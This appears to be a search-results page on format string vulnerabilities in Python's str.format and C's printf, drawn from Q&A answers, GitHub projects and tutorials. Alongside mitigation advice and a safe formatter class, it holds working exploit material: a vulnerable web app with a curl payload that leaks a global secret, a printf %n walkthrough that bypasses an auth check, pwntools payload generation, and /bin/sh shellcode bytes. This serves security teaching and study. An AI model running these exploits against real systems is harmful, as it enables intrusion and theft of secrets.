Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

Answer from rook on Stack Overflow
🌐
GitHub
github.com › lovasoa › pyformat-challenge
GitHub - lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge · GitHub
Python format string vulnerability exploitation challenge - lovasoa/pyformat-challenge
Starred by 7 users
Forked by 4 users
Languages   Python 91.1% | Shell 8.9%
🌐
Podalirius
podalirius.net › en › articles › python-format-string-vulnerabilities
Python format string vulnerabilities · Podalirius
March 24, 2021 - We will explore this more in depth in the Exploiting format strings part. Here is an example of an API where a user can render user data to HTML using it’s own template and format strings : #!/usr/bin/env python3 # -*- coding: utf-8 -*- config = { 'API_KEY' : "212817d980b9a03add91e5814d02" } class API(object): def __init__(self, apikey): self.apikey = apikey def renderHTML(self, templateHTML, title, text): return (templateHTML.format(title=title, text=text)) if __name__ == '__main__': a = API(config[API_KEY]) templateHTML = """<!DOCTYPE html> <html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>{title}</title> </head> <body> <p>{text}</p> </body> </html>""" text = "This is text !" print(a.renderHTML(templateHTML, "Vuln web render App", text))
🌐
Stack Exchange
security.stackexchange.com › questions › 269949 › is-format-string-still-an-issue-in-python
Is format string still an issue in Python? - Information Security Stack Exchange
thanks a lot for quick answer! So, if the untrusted input is provided as an argument to a string formatting function, it is actually not vulnerable to format string attack.
Top answer
1 of 3
9

Good instinct. Yes, an attacker being able to supply arbitrary format string is a vulnerability under python.

  • The denial of service is probably the most simple to address. In this case, limiting the size of the string or the number of operators within the string will mitigate this issue. There should be a setting where no reasonable user will need to generate a string with more variables than X, and this amount of computation isn't at risk of being exploited in a DoS attack.
  • Being able to access attributes within an object could be dangerous. However, I don't think that the Object parent class has any useful information. The object supplied to the format would have to contain something sensitive. In any case, this type of notation can limited with a regular expression.
  • If the format strings are user supplied then a user might need to know the error message for debugging. However, error mesages can contain senstive information such as local paths or class names. Make sure to limit the information that an attacker can obtain.

Look over the python format string specification and forbid functionality you don't want the user to have with a regex.

2 of 3
4

This simple Formatter override blocks users from accessing attributes. It still allows formatting and conversion of types.

from string import Formatter

class SafeFormatter(Formatter):
    def get_field(self, field_name, args, kwargs):
        if not str.isidentifier(field_name):
            raise ValueError(
                f"Invalid format string, {field_name!r} is not a valid identifier"
            )
        return super().get_field(field_name, args, kwargs)

Usage example:

>>> safe_formatter = SafeFormatter()
>>> safe_formatter.format("Number {num} is id={id}", num=1, id="hello")
'Number 1 is hello'
>>> safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
Traceback (most recent call last):
  File "<python-input-3>", line 1, in <module>
    safe_formatter.format("Number {num} is {id.__class__}", num=1, id="hello")
    ~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
[...omitted...]
  File "<python-input-0>", line 6, in get_field
    raise ValueError(
        f"Invalid format string, {field_name!r} is not a valid identifier"
    )
ValueError: Invalid format string, 'id.__class__' is not a valid identifier
>>> 
🌐
Readthedocs
python3-pwntools.readthedocs.io › en › latest › fmtstr.html
pwnlib.fmtstr — Format string bug exploitation tools — pwntools 2.2.1 documentation
# Assume a process that reads a string # and gives this string as the first argument # of a printf() call # It do this indefinitely p = process('./vulnerable') # Function called in order to send a payload def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) return p.recv() # Create a FmtStr object and give to him the function format_string = FmtStr(execute_fmt=send_payload) format_string.write(0x0, 0x1337babe) # write 0x1337babe at 0x0 format_string.write(0x1337babe, 0x0) # write 0x0 at 0x1337babe format_string.execute_writes()
🌐
GeeksforGeeks
geeksforgeeks.org › vulnerability-in-str-format-in-python
Vulnerability in str.format() in Python | GeeksforGeeks
January 6, 2025 - fun Function: This function dynamically formats a string using the person object. Case 1 (Safe input):This is the expected, safe result, where the placeholders are replaced with valid values from the person object. Case 2(Malicious Input):This is a dangerous situation where a malicious user can exploit the str.format() method to retrieve sensitive data from the global context.
Top answer
1 of 4
22

Python's f-strings are actually safer. Use them!


String formatting may be dangerous when a format string depends on untrusted data. So, when using str.format() or %-formatting, it's important to use static format strings, or to sanitize untrusted parts before applying the formatter function. In contrast, f-strings aren't actually plain strings, but more like syntactic sugar for concatenating strings and expressions. As such, an f-string's format is predetermined and doesn't allow dynamic (potentially untrusted) parts in the first place.

Old-style formatting with str.format()

>>> data_str = 'bob'
>>> format_str = 'hello {name}!'
>>> format_str.format(name=data_str)
'hello bob!'

Here, your Python interpreter doesn't know the difference between a data string and a format string. It just calls a function, str.format(), which runs a replacement algorithm on the format string value at the moment of execution. So, expectedly, the format is just a plain string with curly braces in it:

>>> import dis
>>> dis.dis("'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello {name}!')
              2 RETURN_VALUE

New-style formatting with f-strings

>>> data_str = 'bob'
>>> f'hello {data_str}!'
'hello bob!'

Here, f'hello {data_str}!' may look like a string constant, but it's not. The interpreter doesn't parse the part between {...} as part of the string that may be expanded later, but as a separate expression:

>>> dis.dis("f'hello {name}!'")
  1           0 LOAD_CONST               0 ('hello ')
              2 LOAD_NAME                0 (name)
              4 FORMAT_VALUE             0
              6 LOAD_CONST               1 ('!')
              8 BUILD_STRING             3
             10 RETURN_VALUE

So, think of "hi {sys.argv[1]}" as (approximately) syntactical sugar for "hi " + sys.argv[1]. At run time, the interpreter doesn't even really know or care that you used an f-string. It just sees instructions to build a string from a the constant "hi " and the formatted value of sys.argv[1].

Vulnerable example

Here is a sample web app which uses str.format() in a vulnerable way:

from http.server import HTTPServer, BaseHTTPRequestHandler

secret = 'abc123'

class Handler(BaseHTTPRequestHandler):
    name = 'funtimes'
    msg = 'welcome to {site.name}'
    def do_GET(self):
        res = ('<title>' + self.path + '</title>\n' + self.msg).format(site=self)
        self.send_response(200)
        self.send_header('content-type', 'text/html')
        self.end_headers()
        self.wfile.write(res.encode())

HTTPServer(('localhost', 8888), Handler).serve_forever()
$ python3 example.py

$ curl 'http://localhost:8888/test'
<title>/test</title>
welcome to funtimes

Attack

When the res string is built, it usesself.path as part of the format string. Since self.path is user-controlled, we can use it to alter the format string and e.g. exfiltrate the global variable secret:

$ curl -g 'http://localhost:8888/XXX{site.do_GET.__globals__[secret]}'
<title>/XXXabc123</title>
welcome to funtimes
2 of 4
4

If this basic language feature were this flawed, it probably wouldn't be a feature at all. As long as the contents of the format string are controlled by the programmer at development time, there is nothing that a user can do to abuse them.

The contents of the curly braces are evaluated, but the result of that evaluation is not evaluated again (i.e. sys.argv[1] is evaluated to "1+1", but is not evaluated again, like you have seen).

The problem arises when a user is able to to inject data into a string before it is formatted; see this challenge example. While this is not for an f-string, it is a good demonstration of the attacks that are possible if the user is allowed to control the formatting.

🌐
GitHub
github.com › Inndy › formatstring-exploit
GitHub - Inndy/formatstring-exploit: Dead simple format string exploit payload generator
from fmtstr import FormatString fmt = FormatString(offset=6, written=8, bits=64) fmt[0x601040] = 'DEADBEEF' payload, sig = fmt.build() def dump(x): try: from hexdump import hexdump hexdump(x) except ImportError: import binascii, textwrap print('\n'.join(textwrap.wrap(binascii.hexlify(x), 32))) dump(payload)
Starred by 24 users
Forked by 6 users
Languages   Python 100.0% | Python 100.0%
Find elsewhere
🌐
w3tutorials
w3tutorials.net › blog › how-can-a-format-string-vulnerability-be-exploited
How to Exploit a Format-String Vulnerability: A Comprehensive Guide to Executing Malicious Code — w3tutorials.net
# Leak the value at stack offset 5 as a string python3 -c 'print("%5$s")' | ./vulnerable · The %n specifier is the key to exploitation: it writes the number of bytes printed so far to the address pointed to by the next stack argument.
🌐
Armin Ronacher
lucumr.pocoo.org › 2016 › 12 › 29 › careful-with-str-format
Be Careful with Python’s New-Style String Format | Armin Ronacher's Thoughts and Writings
December 29, 2016 - However I think the general issue is quite severe and needs to be a discussed because most people are most likely not aware of how easy it is to exploit. Starting with Python 2.6 a new format string syntax landed inspired by .NET which is also the same syntax that is supported by Rust and some other programming languages.
🌐
GitHub
github.com › arthaud › formatstring
GitHub - arthaud/formatstring: Format string exploitation helper
Formatstring is a python 3 library to help the exploitation of format string vulnerabilities.
Starred by 45 users
Forked by 3 users
Languages   Python 100.0% | Python 100.0%
🌐
GitHub
github.com › adeptex › CTF › blob › master › fstring-injection.md
CTF/fstring-injection.md at master · adeptex/CTF
Researching f-string revealed that it was likely a new Python format string format (introduced in version 3.6). This fact can be confirmed by registering a valid config entry and then using 3.
Author   adeptex
Top answer
1 of 2
1

The reason why you get a segmentation fault is likely because you try to write to the wrong address (why else). Now, while experimenting with your program, I found three main reasons why that could happen:

  • Hit the wrong spot using the wrong number of %xs
  • Access the wrong address because of formatting errors
  • Get the above right but try to use the wrong address to begin with

I'm pretty sure you got the first point right:

$ ./a.out

0xffc649e7
AAAA %x %x %x %x %x %x %x %x
AAAA c8 f7ef9540 5661521a 0 0 41414141 20782520 25207825

As we can see, I would need 5 times %x to get to the right location. I should verify that this will be the case for every consecutive time I run the program:

$ ./a.out

0xffaf5307
AAAA %x %x %x %x %x %x
AAAA c8 f7ed2540 565ad21a 0 0 41414141

Again, 5 times (likely -fno-stack-protector doing its job). The 6th occurence of %x will need to be replaced with %n. If you get the wrong number, you will likely encounter a segmentation fault.

Now, we need to make sure we overwrite at the right address. As you can see from the above examples, the address of auth is a different one every time I run the program.
To get the right address we would need to "respond" to whatever printf("%p\n", &auth) tells us. I achieved that by using the following command:

$ ./a.out < <(python)

0xffd51e77
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('AAAA ' + '%x ' * 6)
AAAA c8 f7f52540 565fe21a 0 0 41414141

As you can see, auth's address gets printed, then Python 3 starts up and I can input whatever I like to the program's stdin using Python.

But there's another problem I mentioned earlier: Formatting. I don't know a lot about Python 3 and how it handles Strings, but if I decide to print the following:

$ ./a.out < <(python)

0xffd1cbb7
Python 3.8.2 (default, Apr  8 2020, 14:31:25)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> print('\xff\xff\xff\xff ' + '%x ' * 6)
>>> ÿÿÿÿ c8 f7f96540 565a021a 0 0 bfc3bfc3

I would expect the content of the start of our input string (in hexadecimal) to be ffffffff, instead I got bfc3bfc3 at that location. If I would have to take a guess, I would say that has something to do with UTF-8, Python 3's default encoding.

To get around that behavior, I used Python 2 instead, which seems to default to ASCII.

$ ./a.out < <(python2)

0xfff28977
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xff\xff\xff\xff ' + '%x ' * 6
>>>  c8 f7f69540 565e521a 0 0 ffffffff

The only thing that's left is to print the right address in the correct byte order, followed by 5 times %x to move the stack pointer to the right position, followed by a %n to overwrite auth with something non-zero.

$ ./a.out < <(python2)

0xffb758b7
Python 2.7.18 (default, Apr 23 2020, 22:32:06)
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print '\xb7\x58\xb7\xff ' + '%x ' * 5 + '%n'
>>> X c8 f7efb540 5659d21a 0 0
Authenticated

And we're in.

2 of 2
0

In the general flow, printf uses the fmt to determine the types of the arguments, and copies them to its output. Unless you have some knowledge of where the output, or output control structure is, you won't have much luck attempting to jam random stack strings or other such things into it.

If generating a SEGV is enough of an exploit you already have your answer; however there is one formatting option %n which goes in the other direction. %n writes out, through a pointer in the argument list, how many chars it has written so far. If we can find a stray pointer to &auth on the stack, we can make a format string which goes through this.

First up, what does the stack look like? Run your program, and input:

%p %p %p %p %p %p .....

and look at the values that come out. All you need is one lower than the &auth by less than the size of an int. Greater doesn't help. If you can find one, you can then set a string with the number of %p to move to that pointer, then a %n to over-write it. If you don't find any, you can probe further in the stack frame by starting with "%64p", which moves to arg #64 (base 1) then proceeds from there.

If your over-write misses (say you were off in address by one byte ), you can substitute in a %256.256d for one of the %p's to increase your #written.

Sadly, on my machine and compiler (macos, clang), I couldn't find a value; and I tried to induce some by shifting environment variables, etc, but to no avail.

🌐
Infosec Institute
infosecinstitute.com › resources › secure-coding › format-string-vulnerabilities-exploitation-case-study
Format String Vulnerabilities Exploitation Case Study | Infosec
Now, we need to update the format string payload to leak only the canary instead of too many entries from the stack. So, let us update the exploit template to leak the stack canary by passing the argument A$llx. #!/usr/bin/env python3 · # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template ./vulnerable ·
🌐
O'Reilly
oreilly.com › library › view › python-penetration-testing › 9781784399771 › 9d8c1a55-3be3-4aaa-b64d-472981ad72ab.xhtml
Format string exploitation - Python Penetration Testing Cookbook [Book]
November 28, 2017 - The format string vulnerability occurs when the submitted data of an input string is evaluated as a command by the application. With the help of this method, the attacker could execute code, read the stack, and may cause a segmentation fault.
Author   Rejah Rehim
Published   2017
Pages   226
🌐
Python Forum
python-forum.io › thread-11421.html
str.format security vulnerability
July 8, 2018 - I was reading about str.format() and the security vulnerability that exists allowing an attacker access to sensitive information. This code example is from the linked site: >>> # This is our super secret key: >>> SECRET = 'this-i...
🌐
Gts3
tc.gts3.org › cs6265 › tut › tut05-fmtstr.html
Tut05: Format String Vulnerability - CS6265: Information Security Lab
Let's say we'd like to write 0xc0ffee to *0xaaaaaaaa, and we have control of the format string at the 4th param (i.e., %4$p), but we've already printed out 10 characters. $ python3 -c 'from pwn import*; print(fmtstr_payload(4, {0xaaaaaaaa: 0xc0ffee}, 10))' "8c$nc$hhn3c$hhnaaa\xaa\xaa\xaa\xaa\xab\xaa\xaa\xaa\xac\xaa\xaa\xaa
🌐
GitHub
github.com › cloudburst › pyfmtstr
GitHub - cloudburst/pyfmtstr: python format string exploitation library
August 23, 2013 - from pyfmtstr import exploit sc = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" \ "\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" e = exploit(binary="vuln_prog/printf", shellcode=sc) sc_offset,sc_align = e.dump_stack() fmtstr_addr,sc_addr = e.find_fmtstr_address()
Author   cloudburst
🌐
Medium
medium.com › @fahimalshihabifty › bcs-ctf-2025-exploiting-format-string-vulnerabilities-f6dcad98f314
BCS CTF 2025: Exploiting Format String Vulnerabilities | by Md Fahim Al Shihab | Medium
March 5, 2025 - From the code, it’s evident that printf(input); is vulnerable to format string exploitation. Our objective is to overwrite the brocode variable’s value to 0x4ADF070F. Find the format string offset. Locate the address of the brocode variable. Construct a format string payload to modify brocode. ... python3 -c "print('ABCDEFGH|' + '|'.join(['%d:%%p' % i for i in range(1,40)]))" | ./read_me | grep 4847
🌐
Medium
medium.com › swlh › hacking-python-applications-5d4cd541b3f1
Hacking Python Applications. And how attackers exploit common… | by Vickie Li | The Startup | Medium
November 15, 2019 - The issue arises when users control the format string directly, and when a Python object is passed into the format string. This is due to the use of special attributes of Python object methods.